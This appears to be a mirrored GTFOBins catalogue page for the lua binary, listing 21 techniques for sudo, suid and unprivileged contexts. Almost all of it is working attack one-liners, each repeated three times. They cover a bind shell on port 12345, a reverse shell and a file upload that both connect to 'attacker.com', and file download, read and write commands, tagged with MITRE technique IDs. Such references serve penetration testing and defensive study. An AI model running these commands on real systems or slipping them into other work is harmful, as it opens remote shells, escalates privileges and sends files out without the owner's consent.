DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

lua

21 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'
Context
suid
Native
bind-shell

bind-shell

Reverse/Bind Shell LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  while true do
    local r,x=c:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));c:send(b);
  end;c:close();f:close();'
Context
unprivileged
Native
bind-shell

download

File DownloadPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open("/path/to/output-file", "wb");
  f:write(d);
  io.close(f);'
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open("/path/to/output-file", "wb");
  f:write(d);
  io.close(f);'
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local k=require("socket");
  local s=assert(k.bind("*",12345));
  local c=s:accept();
  local d,x=c:receive("*a");
  c:close();
  local f=io.open("/path/to/output-file", "wb");
  f:write(d);
  io.close(f);'
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege Escalation LinuxmacOS 
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS 
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS 
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS 
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS 
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS 
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
Context
unprivileged
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  while true do
    local r,x=t:receive();local f=assert(io.popen(r,"r"));
    local b=assert(f:read("*a"));t:send(b);
  end;
  f:close();t:close();'
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local f=io.open("/path/to/input-file", "rb")
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  t:send(d);
  t:close();'
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local f=io.open("/path/to/input-file", "rb")
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  t:send(d);
  t:close();'
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS

This requires `lua-socket` to be available.

lua -e '
  local f=io.open("/path/to/input-file", "rb")
  local d=f:read("*a")
  io.close(f);
  local s=require("socket");
  local t=assert(s.tcp());
  t:connect("attacker.com",12345);
  t:send(d);
  t:close();'
Context
unprivileged
Native
upload
MITRE
T1041